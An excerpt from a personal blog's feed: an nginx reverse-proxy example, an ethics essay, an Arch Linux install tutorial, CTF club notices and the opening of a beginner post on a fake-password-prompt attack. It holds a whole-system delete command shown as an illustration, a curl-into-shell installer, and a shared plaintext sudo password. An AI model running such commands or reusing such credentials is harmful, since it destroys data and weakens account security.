&lt;p&gt;We effectively created a Reverse Proxy that proxies connections from one port to another.
This is especially useful if you wish to connect to multiple computers through the multiple ports of a reverse proxy server.&lt;/p&gt;
&lt;p&gt;See the following &lt;code&gt;nginx&lt;/code&gt; configuration code:&lt;/p&gt;
&lt;pre tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;server{
    listen 8000;
    proxy_pass 10.0.10.1:8080;
}
server {
    # A real implementation would return code 301 instead of passing to port 443,
    # this example rule is less complicated and reflects the idea of passing traffic among the same host
    listen 80;
    proxy_pass 127.0.0.1:443;
}
server {
    listen 443 ssl;

    ssl on;
    ssl_certificate /etc/nginx/ssl/example.cert.pem;
    ssl_certificate_key /etc/nginx/ssl/example.cert.key.pem;

    proxy_pass 10.0.10.2:3000;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above configuration would help create a network model similar to the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/wireguard-vpn/lab3-reverse-proxy.png&quot; alt=&quot;Diagram of Reverse Proxy Network Model&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this example, a computer that can connect to our reverse proxy server is able to
access the services running on the hosts “Web App 1” and “Web App 2” by making connections
to the ports of the host “Internet Accessible Reverse Proxy”.&lt;/p&gt;
&lt;p&gt;When the “Internet Peer” connects to “Reverse Proxy”&#x27;s port 80, the &lt;code&gt;nginx&lt;/code&gt; webserver
redirects the traffic to “Reverse Proxy”&#x27;s port 443.
( The example configuration would fail to serve port 80 if implemented, you would need to return code 301)&lt;/p&gt;
&lt;p&gt;When the “Internet Peer” connects to “Reverse Proxy”&#x27;s port 443, the &lt;code&gt;nginx&lt;/code&gt; webserver
redirects the traffic to “Web App 2”&#x27;s port 3000.&lt;/p&gt;
&lt;p&gt;When the “Internet Peer” connects to “Reverse Proxy”&#x27;s port 8000, the &lt;code&gt;nginx&lt;/code&gt; webserver
redirects the traffic to “Web App 1”&#x27;s port 8080.&lt;/p&gt;
&lt;p&gt;This scenario could be seen in the real world if “Web App 1” acted as the development
version of a web app, and “Web App 2” acted as the production version of the same web app.&lt;/p&gt;
&lt;p&gt;This way, users could connect to &lt;a href=&quot;https://example.web.app&quot;&gt;https://example.web.app&lt;/a&gt; and be directed to “Web App 2”, the production app.&lt;/p&gt;
&lt;p&gt;Then, developers could connect to &lt;a href=&quot;https://example.web.app:8000&quot;&gt;https://example.web.app:8000&lt;/a&gt; and be directed to “Web App 1”, the development app.&lt;/p&gt;
&lt;p&gt;Meanwhile, users who connect to &lt;a href=&quot;http://example.web.app&quot;&gt;http://example.web.app&lt;/a&gt; would be redirected to &lt;a href=&quot;https://example.web.app&quot;&gt;https://example.web.app&lt;/a&gt; to upgrade the security of their connection.
( Please mind that the example configuration would fail and needs to return code 301 to the web browser.)&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Ethics and Engineering: Nature or Nurture?</title>
    <link href="https://ericiniguez.com/blog/can-ethics-be-taught/"/>
    <id>https://ericiniguez.com/blog/can-ethics-be-taught/</id>
    <updated>2022-01-27T19:23:26-06:00</updated>
    <summary>The following is an essay I wrote for a Computing Ethics course, in which I was prompted to answer whether ethics can or cannot be taught to engineers.</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/can-ethics-be-taught/">&lt;p&gt;&lt;em&gt;The following is an essay I wrote for a Computing Ethics course, in which I was prompted to answer whether ethics can or cannot be taught to engineers.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ethics in the context of computing and engineering is concerned with the ethical implications produced by such work. I do believe that ethics can be taught to engineers and scientists and that ethics is not inborn or innate.&lt;/p&gt;
&lt;p&gt;An individual’s moral compass is led by their intuition. When an individual performs an action, they will likely have no issue with their action unless it conflicts with their morals or interests. That individual’s understanding of what conflicts with their morals and what does not is a matter of what knowledge that have been exposed to and what knowledge they are ignorant of.&lt;/p&gt;
&lt;p&gt;For example, the usage of blockchains and cryptocurrencies has become an ethical dilemma due to the impact that the energy costs of maintaining a blockchain are having on the Earth’s climate. In its conception, Bitcoin held a reputation as a cryptic yet innovative currency that could change the way the world exchanges currency. However, as blockchain-based systems grew in quantity and popularity, new cryptocurrencies and non-fungible tokens (NFT’s) were introduced to the world.&lt;/p&gt;
&lt;p&gt;All these systems utilize blockchains, a decentralized data structure that consumes high amounts of electricity in computational resources to perform transactions and update itself across many nodes. Besides exchanging cryptocurrency through transactions, people can “mine” cryptocurrencies by running hardware intensive algorithms to find the secret key needed to claim a certain amount of cryptocurrency. Due to the heavy reliance on fossil fuels for much of the world’s electricity to be produced, the mining of Bitcoin alone had the University of Cambridge “[estimate] that bitcoin mining consumes 121.36 terawatt hours a year. This is more than all of Argentina consumes, or more than the consumption of Google, Apple, Facebook, and Microsoft combined” (Cho 2021). The high consumption of electricity leads to high consumption of fossil fuels, which inevitably leads to the production of harmful greenhouse gases and pollutants that threaten the Earth’s climate.&lt;/p&gt;
&lt;p&gt;Due to the analysis of the environmental cost of blockchain technologies, many individuals previously interested in the development of blockchains have shifted their opinions against them. Mozilla, a non-profit organization known for their dedication to a free and open internet, recently began accepting cryptocurrency donations. Many Mozilla fans opposed this decision and voiced their disapproval, leading to Mozilla placing a hold on cryptocurrency donations. The original creator of Mozilla’s web browser engine, Peter Linss, is quoted in Jay Peters’ article saying “I’m glad Mozilla reversed course here. They play a crucial role in keeping the web open and free. I’m also grateful for the support of all the fans of Mozilla helping to keep them accountable to the ideals they were founded under” (Peters 2022).&lt;/p&gt;
&lt;p&gt;Despite the growing opposition to the harmful use of blockchains, enthusiasts aiming to reduce the harm of blockchains have led to new discussions of pursuing eco-friendly blockchain implementations. For instance, “ever since Tesla CEO Elon Musk brought to focus a number of issues surrounding Bitcoin’s native mining processes, the topic of blockchain energy consumption has gained a lot of traction globally” (Reynolds 2021).&lt;/p&gt;
&lt;p&gt;In conclusion, by analyzing the case of the public perception of blockchain technologies over time, we see that individuals are evidently capable of forming new opinions and taking new ethical stances from their growing knowledge of current issues whether those individuals chose to oppose blockchains altogether or pursue alternative implementations of the same data structure.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;sources&quot;&gt;Sources&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#sources&quot; aria-label=&quot;Link to section: Sources&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Cho, Renee. “Bitcoin’s Impacts on Climate and the Environment.” State of the Planet, 16 Sept. 2021, news.climate.columbia.edu/2021/09/20/bitcoins-impacts-on-climate-and-the-environment.&lt;/li&gt;
&lt;li&gt;Peters, Jay. “Mozilla Pauses Accepting Crypto Donations Following Backlash.” The Verge, 6 Jan. 2022, www.theverge.com/2022/1/6/22870787/mozilla-pauses-crypto-donations-backlash-jwz.&lt;/li&gt;
&lt;li&gt;Reynolds, Amaury. “Here Are the 5 Most Environmentally Sound Blockchain Ecosystems in the Market Today.” CryptoMode, 23 Aug. 2021, cryptomode.com/here-are-the-5-most-environmentally-sound-blockchain-ecosystems-in-the-market-today.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Arch Linux Installation Tutorial</title>
    <link href="https://ericiniguez.com/blog/arch-linux-cs3353/"/>
    <id>https://ericiniguez.com/blog/arch-linux-cs3353/</id>
    <updated>2021-11-04T13:42:40-06:00</updated>
    <summary>This tutorial was written in October 2021 for CS3353. Version numbers and other factors may have changed by the time you read this.</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/arch-linux-cs3353/">&lt;p&gt;This tutorial was written in October 2021 for CS3353. Version numbers and other factors may have changed by the time you read this.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;setting-the-system-time&quot;&gt;Setting the System Time&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#setting-the-system-time&quot; aria-label=&quot;Link to section: Setting the System Time&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;NTP is used to synchronize your system’s time with a publicly known time server. Here we set the system we booted up to synchronize its time to prevent
any issues that may be caused by desynchronized clocks between systems.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;timedatectl set-ntp true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I live in the US Central timezone so this how I set the system to use it.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;timedatectl set-timezone US/Central&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;partitioning-the-hard-disk&quot;&gt;Partitioning the Hard Disk&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#partitioning-the-hard-disk&quot; aria-label=&quot;Link to section: Partitioning the Hard Disk&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;List the block devices, the hard disk for the permanent installation should be &lt;code&gt;/dev/sda&lt;/code&gt;. “sda” is short for “Storage Device A”.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fdisk -l&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Select the storage device for the permanent installation. This will open a menu to allow you to configure the storage device’s partitions.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fdisk /dev/sda&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Set partition table as GPT with ‘g’&lt;/p&gt;
&lt;p&gt;create partition 1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;use default first sector&lt;/li&gt;
&lt;li&gt;set part 1 to +1M&lt;/li&gt;
&lt;li&gt;change type with ‘t’&lt;/li&gt;
&lt;li&gt;set type to ‘BIOS boot’&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;create partition 2&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;use default first sector&lt;/li&gt;
&lt;li&gt;set part 2 to +4G&lt;/li&gt;
&lt;li&gt;change type with ‘t’&lt;/li&gt;
&lt;li&gt;set type to ‘swap’&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;create partition 3&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;use default first sector&lt;/li&gt;
&lt;li&gt;use deafult last sector, setting part 2 to rest of Disk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;w to exit&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;formatting-partitions&quot;&gt;Formatting Partitions&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#formatting-partitions&quot; aria-label=&quot;Link to section: Formatting Partitions&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Use mkfs and mkswap to format the corresponding partitions into ext4 and swap partitions&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mkfs.ext4 /dev/sda3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mkswap /dev/sda2&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;mounting-partitions&quot;&gt;Mounting Partitions&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#mounting-partitions&quot; aria-label=&quot;Link to section: Mounting Partitions&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Mount the installation’s primary partitition to start setting up the system’s files&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mount /dev/sda3 /mnt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Turn on the linux swap memory of the installation’s swap partition&lt;/p&gt;
&lt;p&gt;&lt;code&gt;swapon /dev/sda2&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;installing-base-software&quot;&gt;Installing Base Software&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#installing-base-software&quot; aria-label=&quot;Link to section: Installing Base Software&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Install software to the installation’s file system&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pacstrap /mnt base linux linux-firmware iproute2 net-tools dhcpcd ufw vim&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;configure-the-system&quot;&gt;Configure the System&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#configure-the-system&quot; aria-label=&quot;Link to section: Configure the System&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Tell the system where file systems and data are&lt;/p&gt;
&lt;p&gt;&lt;code&gt;genfstab -U /mnt &amp;gt;&amp;gt; /mnt/etc/fstab&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;chroot&quot;&gt;Chroot&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#chroot&quot; aria-label=&quot;Link to section: Chroot&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Change your linux instance’s root directory to be that of the installation’s root directory&lt;/p&gt;
&lt;p&gt;&lt;code&gt;arch-chroot /mnt&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;time-zone&quot;&gt;Time Zone&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#time-zone&quot; aria-label=&quot;Link to section: Time Zone&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Set the installation’s time zone&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ln -sf /usr/share/zoneinfo/US/Central /etc/localtime&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hwclock --systohc&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-4&quot;&gt;&lt;h4 id=&quot;localization&quot;&gt;Localization&lt;/h4&gt;&lt;a class=&quot;anchor&quot; href=&quot;#localization&quot; aria-label=&quot;Link to section: Localization&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Establish the character encoding for the language and characters you want your system to use&lt;/p&gt;
&lt;p&gt;Open &lt;code&gt;/etc/locale.gen&lt;/code&gt; and uncomment “en_US.UTF-8 UTF-8”&lt;/p&gt;
&lt;p&gt;&lt;code&gt;locale-gen&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo &amp;quot;LANG=en_US.UTF-8&amp;quot; &amp;gt; /etc/locale.conf&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-4&quot;&gt;&lt;h4 id=&quot;network-configuration&quot;&gt;Network Configuration&lt;/h4&gt;&lt;a class=&quot;anchor&quot; href=&quot;#network-configuration&quot; aria-label=&quot;Link to section: Network Configuration&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Set the hostname&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hostnamectl set-hostname Arch-CS3353&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;initramfs&quot;&gt;Initramfs&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#initramfs&quot; aria-label=&quot;Link to section: Initramfs&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Generate the initial system that gets loaded on boot-up&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mkinitcpio -P&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;root-password&quot;&gt;Root password&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#root-password&quot; aria-label=&quot;Link to section: Root password&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Set the password for ‘root’&lt;/p&gt;
&lt;p&gt;&lt;code&gt;passwd&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;boot-loader&quot;&gt;Boot Loader&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#boot-loader&quot; aria-label=&quot;Link to section: Boot Loader&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;This is what will let you boot into your system, without this your system will not boot.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pacman -S grub&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Point grub to the storage device with your installation on it&lt;/p&gt;
&lt;p&gt;&lt;code&gt;grub-install /dev/sda&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Tell grub where your operating system is on the storage device&lt;/p&gt;
&lt;p&gt;&lt;code&gt;grub-mkconfig -o /boot/grub/grub.cfg&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Exit the chroot Environment&lt;/p&gt;
&lt;p&gt;&lt;code&gt;exit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Unmount the installation’s storage device&lt;/p&gt;
&lt;p&gt;&lt;code&gt;umount -R /mnt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Reboot the system&lt;/p&gt;
&lt;p&gt;&lt;code&gt;reboot&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;setting-up-new-system&quot;&gt;Setting Up New System&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#setting-up-new-system&quot; aria-label=&quot;Link to section: Setting Up New System&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Boot into ‘Arch Linux’ entry of GRUB menu&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;setting-up-dhcp-client&quot;&gt;Setting Up DHCP Client&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#setting-up-dhcp-client&quot; aria-label=&quot;Link to section: Setting Up DHCP Client&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Use DHCP to be able to acquire a DHCP IP address lease on a network with DHCP&lt;/p&gt;
&lt;p&gt;&lt;code&gt;systemctl start dhcpcd &amp;amp;&amp;amp; systemctl enable dhcpcd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Start your network interface&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ip link set ens33 up&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Check connectivity&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ping google.com&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;set-up-users&quot;&gt;Set Up Users&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#set-up-users&quot; aria-label=&quot;Link to section: Set Up Users&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Install the sudo tool&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pacman -S sudo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Create the sudo group&lt;/p&gt;
&lt;p&gt;&lt;code&gt;groupadd sudo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Edit the sudoers file&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo EDITOR=vim visudo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Uncomment the line that reads &lt;code&gt;%sudo ALL=(ALL) ALL&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Create user ‘eric’ with new home directory and add them to group ‘sudo’&lt;/p&gt;
&lt;p&gt;&lt;code&gt;useradd -m -G sudo eric&lt;/code&gt;
&lt;code&gt;useradd -m -G sudo codi&lt;/code&gt;
&lt;code&gt;useradd -m -G sudo sal&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Set password for users to &#x27;GraceHopper1906&lt;code&gt; &lt;/code&gt;passwd eric&lt;code&gt; &lt;/code&gt;passwd codi&lt;code&gt; &lt;/code&gt;passwd sal`&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;install-zsh-with-oh-my-zsh&quot;&gt;Install ZSH with Oh My ZSH&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#install-zsh-with-oh-my-zsh&quot; aria-label=&quot;Link to section: Install ZSH with Oh My ZSH&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Install the neccesary packages&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pacman -S curl wget git zsh&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Install oh my zsh&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sh -c &amp;quot;$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Clone oh my zsh plugins&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git clone https://github.com/zsh-users/zsh-autosuggestions.git $ZSH_CUSTOM/plugins/zsh-autosuggestions&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git clone https://github.com/zsh-users/zsh-syntax-highlighting.git $ZSH_CUSTOM/plugins/zsh-syntax-highlighting&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: this guide used to have you download my personal &lt;code&gt;.zshrc&lt;/code&gt; and &lt;code&gt;.vimrc&lt;/code&gt; from this site. I no longer host those files, so start from the &lt;code&gt;~/.zshrc&lt;/code&gt; that the oh my zsh installer creates, and add the two plugins above to its &lt;code&gt;plugins=(...)&lt;/code&gt; line.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;install-ssh&quot;&gt;Install SSH&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#install-ssh&quot; aria-label=&quot;Link to section: Install SSH&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Install SSH&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pacman -S openssh&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;installing-a-desktop-environment-gui&quot;&gt;Installing a Desktop Environment (GUI)&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#installing-a-desktop-environment-gui&quot; aria-label=&quot;Link to section: Installing a Desktop Environment (GUI)&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Install the Xorg Display Server, the Gnome Desktop Environment, the Gnome Software Package Plugin to fix the Graphic Software Package Manager,
Firefox Web Browser, Leafpad Graphical Text Editor, and Cascadia Code Font.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pacman -S xorg xorg-server gnome gnome-packagekit gnome-software-packagekit-plugin firefox leafpad ttf-cascadia-code&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Press Enter to accept default options for all prompts&lt;/p&gt;
&lt;p&gt;Enable the Gnome Display Manager to start when you start the computer, then start it manually right now&lt;/p&gt;
&lt;p&gt;&lt;code&gt;systemctl enable gdm.service &amp;amp;&amp;amp; systemctl start gdm.service&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;enjoy-your-new-arch-linux-system&quot;&gt;Enjoy your new Arch Linux System!&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#enjoy-your-new-arch-linux-system&quot; aria-label=&quot;Link to section: Enjoy your new Arch Linux System!&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>TU CTF: Scrapers</title>
    <link href="https://ericiniguez.com/blog/talking-about-scrapers/"/>
    <id>https://ericiniguez.com/blog/talking-about-scrapers/</id>
    <updated>2021-02-24T20:00:06-06:00</updated>
    <summary>Tonight we have an impromptu presentation about web scrapers! I go over what a web scraper is and how to build one using the Beautiful Soup 4 python library!</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/talking-about-scrapers/">&lt;p&gt;Tonight we have an impromptu presentation about web scrapers! I go over what a web scraper is and how to build one using the Beautiful Soup 4 python library!&lt;/p&gt;
&lt;p&gt;The recording can be found at &lt;a href=&quot;https://www.twitch.tv/videos/927287374&quot;&gt;https://www.twitch.tv/videos/927287374&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As always, the University of Tulsa’s CTF Club presents every Wednesday at 7PM CST / 8PM EST / 5PM PST at &lt;a href=&quot;https://www.twitch.tv/asciioverflow&quot;&gt;https://www.twitch.tv/asciioverflow&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>TU CTF: Intro to GDB-PEDA</title>
    <link href="https://ericiniguez.com/blog/gdb-peda/"/>
    <id>https://ericiniguez.com/blog/gdb-peda/</id>
    <updated>2021-02-18T13:42:40-06:00</updated>
    <summary>Last night I presented an introduction to GDB-PEDA, a great tool for binary exploitation / software reverse engineering / PWN’ing. The link to a recording of…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/gdb-peda/">&lt;p&gt;Last night I presented an introduction to GDB-PEDA, a great tool for binary exploitation / software reverse engineering / PWN’ing. The link to a recording of the presentation is available at the University of Tulsa’s AsciiOverflow’s Twitch channel: &lt;a href=&quot;https://www.twitch.tv/videos/918337268&quot;&gt;https://www.twitch.tv/videos/918337268&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;While I’m not very experienced in using GDB-PEDA or Binary Analysis at the moment, I hope this presentation serves as a good introduction to analyzing binaries, assembly language, and how computers run programs.&lt;/p&gt;
&lt;p&gt;AsciiOverflow is the University of Tulsa’s CTF Club. Every wednesday at 7pm CST we present a new topic related to Cyber Security CTF’s, which are fun events where participants solve challenges to earn points and gain experience!&lt;/p&gt;
&lt;p&gt;Catch us every wednesday 7PM CST/5PM PST/8PM EST on our twitch channel: &lt;a href=&quot;https://www.twitch.tv/asciioverflow&quot;&gt;https://www.twitch.tv/asciioverflow&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Stealing Passwords with Alias</title>
    <link href="https://ericiniguez.com/blog/stealing-passwords-with-alias/"/>
    <id>https://ericiniguez.com/blog/stealing-passwords-with-alias/</id>
    <updated>2020-11-18T14:19:32-06:00</updated>
    <summary>This article is intended to be a beginner-friendly and comprehensive approach to analyzing a simple cyber attack. In this case, we will be writing a malicious…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/stealing-passwords-with-alias/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#introduction&quot; aria-label=&quot;Link to section: Introduction&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;This article is intended to be a beginner-friendly and comprehensive approach to analyzing a simple cyber attack. In this case, we will be writing a malicious C program and swapping a commonly-used and critical program with our malicious program to mimick a password prompt. Our attack aims to fool a victim user into entering their password into our malicious program, which stores the input in a hidden text file to be retrieved by the attacker.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;things-you-can-learn-from-this-article&quot;&gt;Things You Can Learn from this Article&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#things-you-can-learn-from-this-article&quot; aria-label=&quot;Link to section: Things You Can Learn from this Article&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;What are computer privileges?&lt;/li&gt;
&lt;li&gt;How are privileges enforced in a computer system?&lt;/li&gt;
&lt;li&gt;What is privilege escalation?&lt;/li&gt;
&lt;li&gt;Common usage of the Linux command-line&lt;/li&gt;
&lt;li&gt;Tricking a user into giving away their password using fradulent programs&lt;/li&gt;
&lt;li&gt;Using the C Programming Language to:
* Emulate program input and output
* Create and write to files&lt;/li&gt;
&lt;li&gt;What is a Systems Administrator?&lt;/li&gt;
&lt;li&gt;What is an Attack Surface?&lt;/li&gt;
&lt;li&gt;What is an Attack Vector?&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;why-steal-passwords&quot;&gt;Why Steal passwords?&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#why-steal-passwords&quot; aria-label=&quot;Link to section: Why Steal passwords?&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Managing who can do what on a computer is very important. No one wants an unwanted guest having complete access to their computer. For this reasons, computers have privileges in place to designate what actions a user may perform.&lt;/p&gt;
&lt;p&gt;In Linux&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn1&quot; id=&quot;fnref1&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;, there is a “superuser” account which has unrestricted access to commands, files, directories, and resources.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn2&quot; id=&quot;fnref2&quot;&gt;[2]&lt;/a&gt;&lt;/sup&gt; Most distributions&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn3&quot; id=&quot;fnref3&quot;&gt;[3]&lt;/a&gt;&lt;/sup&gt; of Linux allow non-superuser accounts to use the superuser’s abilities with the program &lt;code&gt;sudo&lt;/code&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn4&quot; id=&quot;fnref4&quot;&gt;[4]&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;sudo&lt;/code&gt; program enables users to perform critical actions on the system from updating the packages (On debian-based distributions: &lt;code&gt;sudo apt update&lt;/code&gt;) to even erasing &lt;em&gt;every&lt;/em&gt; file on the system (&lt;code&gt;sudo rm -rf --no-preserve-root /&lt;/code&gt;) to the point where the system can no longer run.&lt;/p&gt;
